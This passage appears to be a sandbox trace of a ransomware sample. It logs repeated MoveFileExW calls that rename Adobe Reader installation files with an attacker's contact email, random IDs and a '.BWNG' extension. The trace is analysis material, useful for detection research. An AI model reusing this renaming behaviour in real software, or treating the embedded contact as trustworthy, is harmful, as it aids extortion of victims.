lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].RTtZAUXw-Wg23Ocyk.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].rttzauxw-wg23ocyk.bwng"), dwFlags=0x1) returned 1 [0094.695] GetTickCount () returned 0x115f74a [0094.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23664691888) returned 1 [0094.695] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\MCIMPP.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\mcimpp.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\[billwong73@yahoo.com].f7OTFcDu-chO4jvC6.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\[billwong73@yahoo.com].f7otfcdu-cho4jvc6.bwng"), dwFlags=0x1) returned 1 [0094.696] GetTickCount () returned 0x115f74a [0094.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23664826727) returned 1 [0094.696] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Multimedia.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\multimedia.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\[billwong73@yahoo.com].76gADNgE-Re0vtZaN.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\[billwong73@yahoo.com].76gadnge-re0vtzan.bwng"), dwFlags=0x1) returned 1 [0094.697] GetTickCount () returned 0x115f74a [0094.697] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23664958732) returned 1 [0094.698] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\[billwong73@yahoo.com].WIuZK1MJ-2PxO3vXt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\[billwong73@yahoo.com].wiuzk1mj-2pxo3vxt.bwng"), dwFlags=0x1) returned 1 [0094.699] GetTickCount () returned 0x115f74a [0094.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23665115794) returned 1 [0094.699] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\RdLang32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\rdlang32.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].XzgKZ369-Eu4pUST7.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].xzgkz369-eu4pust7.bwng"), dwFlags=0x1) returned 1 [0094.700] GetTickCount () returned 0x115f74a [0094.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23665251613) returned 1 [0094.700] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\PPKLITE.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ppklite.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].qVkGawrB-1wO2EIFd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].qvkgawrb-1wo2eifd.bwng"), dwFlags=0x1) returned 1 [0094.701] GetTickCount () returned 0x115f74a [0094.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23665375085) returned 1 [0094.702] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\[billwong73@yahoo.com].nKw0IHM6-oZBypxg6.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\[billwong73@yahoo.com].nkw0ihm6-ozbypxg6.bwng"), dwFlags=0x1) returned 1 [0095.901] GetTickCount () returned 0x115fbfc [0095.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23785315453) returned 1 [0095.901] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\WindowsMedia.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\windowsmedia.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\[billwong73@yahoo.com].Hnv35ZtA-wJfRECe8.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\[billwong73@yahoo.com].hnv35zta-wjfrece8.bwng"), dwFlags=0x1) returned 1 [0095.902] GetTickCount () returned 0x115fbfc [0095.902] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23785474010) returned 1 [0095.903] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DigSig.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\digsig.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\[billwong73@yahoo.com].zPGZBdk6-0cK769n9.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\[billwong73@yahoo.com].zpgzbdk6-0ck769n9.bwng"), dwFlags=0x1) returned 1 [0095.904] GetTickCount () returned 0x115fbfc [0095.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23785617090) returned 1 [0095.904] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Weblink.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\weblink.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].edxBddKK-nXNFcRXY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].edxbddkk-nxnfcrxy.bwng"), dwFlags=0x1) returned 1 [0095.905] GetTickCount () returned 0x115fbfc [0095.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23785748138) returned 1 [0095.905] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\updater.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\updater.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].Kiik4SFK-1zCdPsFa.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].kiik4sfk-1zcdpsfa.bwng"), dwFlags=0x1) returned 1 [0095.906] GetTickCount () returned 0x115fbfc [0095.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23785871301) returned 1 [0095.907] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Weblink.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\weblink.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].MzxmFC0A-n9SWbNYH.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].mzxmfc0a-n9swbnyh.bwng"), dwFlags=0x1) returned 1 [0095.908] GetTickCount () returned 0x115fbfc [0095.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23785992731) returned 1 [0095.908] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Checkers.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\checkers.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].KYqPJONT-EtccJejN.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].kyqpjont-etccjejn.bwng"), dwFlags=0x1) returned 1 [0097.182] GetTickCount () returned 0x11600ad [0097.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23913465972) returned 1 [0097.183] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\Mcimpp.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\mcimpp.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\[billwong73@yahoo.com].GNVuWmZg-QWtpfzrG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\[billwong73@yahoo.com].gnvuwmzg-qwtpfzrg.bwng"), dwFlags=0x1) returned 1 [0097.185] GetTickCount () returned 0x11600ad [0097.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23913727801) returned 1 [0097.185] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\ReadOutLoud.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\readoutloud.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\[billwong73@yahoo.com].xv15XAY0-npNmaGNs.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\[billwong73@yahoo.com].xv15xay0-npnmagns.bwng"), dwFlags=0x1) returned 1 [0097.206] GetTickCount () returned 0x11600cc [0097.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23915809307) returned 1 [0097.206] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\EScript.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\escript.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].9qU6W2Eo-ImpuBP0n.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].9qu6w2eo-impubp0n.bwng"), dwFlags=0x1) returned 1 [0097.208] GetTickCount () returned 0x11600cc [0097.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23916022636) returned 1 [0097.208] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\eBook.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ebook.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].FyzQZbB4-gQjuYQxK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].fyzqzbb4-gqjuyqxk.bwng"), dwFlags=0x1) returned 1 [0097.210] GetTickCount () returned 0x11600cc [0097.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23916199410) returned 1 [0097.210] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\WindowsMedia.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\windowsmedia.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\[billwong73@yahoo.com].owaANK3h-g3Z8o4uB.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\[billwong73@yahoo.com].owaank3h-g3z8o4ub.bwng"), dwFlags=0x1) returned 1 [0097.211] GetTickCount () returned 0x11600cc [0097.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23916352851) returned 1 [0097.212] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\accessibility.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\[billwong73@yahoo.com].L11pWNTl-T7ToUY5s.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\[billwong73@yahoo.com].l11pwntl-t7touy5s.bwng"), dwFlags=0x1) returned 1 [0097.213] GetTickCount () returned 0x11600cc [0097.213] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23916527785) returned 1 [0097.213] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Search.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\search.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].lM3Rycwr-0QvfTyid.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].lm3rycwr-0qvftyid.bwng"), dwFlags=0x1) returned 1 [0097.214] GetTickCount () returned 0x11600cc [0097.214] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23916803455) returned 1 [0097.216] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\SaveAsRTF.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\saveasrtf.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].YpazhjMf-IcneSqVU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].ypazhjmf-icnesqvu.bwng"), dwFlags=0x1) returned 1 [0097.217] GetTickCount () returned 0x11600cc [0097.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23916946172) returned 1 [0097.217] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\EScript.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\escript.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].J6dKqCsJ-uz7M6wUc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].j6dkqcsj-uz7m6wuc.bwng"), dwFlags=0x1) returned 1 [0097.219] GetTickCount () returned 0x11600cc [0097.219] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23917086604) returned 1 [0097.219] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\IA32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ia32.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\[billwong73@yahoo.com].3qFoBdr3-sg9Z7wb4.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\[billwong73@yahoo.com].3qfobdr3-sg9z7wb4.bwng"), dwFlags=0x1) returned 1 [0097.776] GetTickCount () returned 0x11602fe [0097.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23972791774) returned 1 [0097.776] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\AdobeCollabSync.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\adobecollabsync.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].mFZeIOwC-GzTrW2MW.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].mfzeiowc-gztrw2mw.bwng"), dwFlags=0x1) returned 1 [0097.777] GetTickCount () returned 0x11602fe [0097.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23972967741) returned 1 [0097.778] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Search.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\search.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].Zi9vMQG9-oLb4Rx52.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].zi9vmqg9-olb4rx52.bwng"), dwFlags=0x1) returned 1 [0097.779] GetTickCount () returned 0x11602fe [0097.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23973095746) returned 1 [0097.779] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\RdLang32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\rdlang32.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].bL7xZL18-iiuU1Z9b.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].bl7xzl18-iiuu1z9b.bwng"), dwFlags=0x1) returned 1 [0097.780] GetTickCount () returned 0x11602fe [0097.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23973215870) returned 1 [0097.780] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\saveasrtf.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].j5grLDGQ-i5eAw0yB.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].j5grldgq-i5eaw0yb.bwng"), dwFlags=0x1) returned 1 [0097.782] GetTickCount () returned 0x116030d [0097.782] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23973452250) returned 1 [0097.782] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SendMail.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\sendmail.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\[billwong73@yahoo.com].Oxr7fGcu-BrCgTkgx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\[billwong73@yahoo.com].oxr7fgcu-brcgtkgx.bwng"), dwFlags=0x1) returned 1 [0097.783] GetTickCount () returned 0x116030d [0097.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23973557908) returned 1 [0097.784] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Annots.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\annots.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].4P2VhGnF-blGtZhsg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].4p2vhgnf-blgtzhsg.bwng"), dwFlags=0x1) returned 1 [0097.784] GetTickCount () returned 0x116030d [0097.784] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23973663171) returned 1 [0097.785] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Multimedia.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\multimedia.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].iUgYytrG-Qgj8vlsK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].iugyytrg-qgj8vlsk.bwng"), dwFlags=0x1) returned 1 [0097.786] GetTickCount () returned 0x116030d [0097.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23973777283) returned 1 [0097.786] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\[billwong73@yahoo.com].IyPTaZAY-aOvzgGPI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\[billwong73@yahoo.com].iyptazay-aovzggpi.bwng"), dwFlags=0x1) returned 1 [0097.787] GetTickCount () returned 0x116030d [0097.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23973909033) returned 1 [0097.787] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Weblink.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\weblink.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].GO2VGrkC-diAa8rle.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].go2vgrkc-diaa8rle.bwng"), dwFlags=0x1) returned 1 [0097.788] GetTickCount () returned 0x116030d [0097.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23974012135) returned 1 [0097.788] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\PDDom.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\pddom.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].Ud0YKIXV-5jXH397f.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].ud0ykixv-5jxh397f.bwng"), dwFlags=0x1) returned 1 [0097.789] GetTickCount () returned 0x116030d [0097.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23974131940) returned 1 [0097.789] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\DigSig.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\digsig.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].p6BOv8Oc-sTH8RWyU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].p6bov8oc-sth8rwyu.bwng"), dwFlags=0x1) returned 1 [0097.792] GetTickCount () returned 0x116030d [0097.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23974384716) returned 1 [0097.792] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Annots.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\annots.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].HKWyf2bl-dEtnVIVu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].hkwyf2bl-detnvivu.bwng"), dwFlags=0x1) returned 1 [0098.080] GetTickCount () returned 0x1160436 [0098.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24003269065) returned 1 [0098.081] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvSOFT.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvsoft.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\[billwong73@yahoo.com].0N7KUFs4-hfsd2bde.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\[billwong73@yahoo.com].0n7kufs4-hfsd2bde.bwng"), dwFlags=0x1) returned 1 [0098.082] GetTickCount () returned 0x1160436 [0098.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24003424188) returned 1 [0098.082] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobepistd.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 